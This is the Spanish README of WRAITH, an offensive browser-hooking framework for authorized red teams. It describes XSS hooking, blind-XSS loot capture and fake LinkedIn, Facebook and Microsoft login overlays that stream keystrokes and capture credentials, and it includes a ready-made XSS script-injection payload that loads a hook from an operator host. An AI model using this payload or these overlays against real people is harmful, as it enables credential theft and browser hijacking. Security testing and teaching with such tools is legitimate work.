
Framework de hooking de navegadores para equipos rojos autorizados y educadores. Engancha navegadores mediante XSS, proporciona control interactivo post-explotación, captura de botín blind-XSS, overlays de ingeniería social y un laboratorio de práctica.
Un framework moderno y autónomo de hooks para navegador, pensado para equipos rojos, investigadores de seguridad y educadores: un sucesor de código limpio de BeEF y de las herramientas de callback blind-XSS que usamos a diario.
SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS, INVESTIGACIÓN Y EDUCACIÓN. WRAITH es una herramienta de seguridad ofensiva para demostrar y probar tácticas de phishing / man-in-the-browser / blind-XSS. Úsala únicamente contra sistemas y personas sobre los que tengas autorización explícita para probar. Eres responsable de cómo la uses.

A lo largo de nuestro trabajo en Arcanum, recurríamos constantemente a dos tipos diferentes de herramientas y deseábamos que fueran una sola cosa.
Por un lado estaba BeEF — el Browser Exploitation Framework — para el flujo de trabajo clásico de enganchar un navegador y luego trabajar desde dentro de su sesión: registrar las pulsaciones de un login falso, hacer reconocimiento de la red local, lanzar un módulo contra una víctima en vivo. Es la herramienta que usábamos para hacer tangible el man-in-the-browser para la gente. Pero está mostrando su edad, grandes partes son poco fiables en los navegadores actuales, y las superposiciones de ingeniería social parecen logins de hace una década.
Por otro lado estaban nuestros frameworks de callback blind-XSS favoritos (XSS Hunter, ezXSS): suelta un payload en un campo y, en el instante en que se ejecuta en algún lugar que no puedes ver, llama a casa con el botín: origen, cookies, DOM, una captura de pantalla.
Lo que necesitábamos cada vez más — especialmente a medida que más de nuestros objetivos se convertían en ecosistemas de aplicaciones de IA, donde texto no confiable fluye a través de agentes, salidas de herramientas, colas de revisión de administradores y consolas de soporte, y ejecuta JavaScript en lugares donde nadie está mirando — era un único framework que hiciera ambas cosas: el control interactivo y persistente de post-explotación de un hook de BeEF, y el botín de callback blind-XSS de tipo fire-and-forget, en un solo payload que sea fiable en los navegadores actuales y que se vea como las pantallas de login reales de hoy.
Así que construimos WRAITH.
Lanzamos WRAITH temprano, y a propósito. Preferimos ponerlo en manos de las personas que realmente lo usarán — y escuchar qué se rompe — que guardarlo hasta que esté "terminado".
Eso significa: espera bordes ásperos y errores. Algunos módulos están más probados en batalla que otros, el comportamiento de los navegadores cambia constantemente bajo nuestros pies (consulta las notas sobre el escaneo de red más abajo), y las APIs pueden cambiar entre versiones. Si encuentras algo, por favor abre un issue — pasos para reproducir, navegador + versión, y qué esperabas son oro. Los PRs son bienvenidos bajo los términos de contribución del proyecto.
El camino más rápido. Necesitas Docker + Docker Compose.
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh
setup.sh te guía a través de todo:
.env ignorado por git (chmod 600),
y construye + inicia el contenedor. Consola del operador : http://YOUR_IP:8090/operator/
Página de login : http://YOUR_IP:8090/login (usuario "operator")
Página demo de víctima : http://YOUR_IP:8090/demo/
Payload de hook : http://YOUR_IP:8090/hook.js
Payload XSS listo para usar:
"><script src="http://YOUR_IP:8090/hook.js"></script>
Gestiona con comandos estándar de compose:
docker compose logs -f # obsérvalo
docker compose down # detener (conserva ./data)
./setup.sh # reconfigurar (rotar contraseña, cambiar dirección, …)
Las sesiones capturadas persisten en ./data/ en el host — nunca integradas en la
imagen, nunca commiteadas (.env y data/ están ignorados por git).
La consola del operador está protegida por login siempre que se establezca una contraseña de operador, con un inicio de sesión de nombre de usuario + contraseña:

npm install
npm start
Luego abre la consola del operador en http://127.0.0.1:3000/operator/ y la página demo de víctima en http://127.0.0.1:3000/demo/ (en un segundo navegador/perfil). En localhost, el login está deshabilitado por defecto por conveniencia — el servidor se niega a vincularse a una interfaz pública sin una contraseña de operador, para que no puedas exponer accidentalmente un panel abierto.
/hook.js es un payload pequeño. Colócalo en cualquier página que controles
(<script src="/hook.js"></script>) o entrégalo mediante un XSS en tu objetivo. El
navegador que lo carga abre un WebSocket de vuelta al operador, se identifica a sí mismo
(navegador, SO, IP, página, UA), se reconecta automáticamente y sobrevive a la navegación.
Cada navegador enganchado aparece en vivo en la consola, donde eliges uno y lo controlas — el
panel completo es la imagen principal al inicio de este README: lista de navegadores
enganchados, detalle del objetivo, controles de despliegue, feed de actividad en vivo y
credenciales capturadas.
Superposiciones modernizadas de login falso, renderizadas en un shadow DOM aislado para que se vean perfectas en cualquier página host y difuminen la página detrás como un modal real de re-autenticación. Incluye LinkedIn, Facebook y Microsoft / Office 365 (flujo auténtico de dos pasos email → contraseña).

Cada carácter que el objetivo escribe en una superposición se transmite a la consola en tiempo real, y las credenciales enviadas aterrizan en Credenciales Capturadas — todo persistido para que nada se pierda al refrescar o reiniciar.
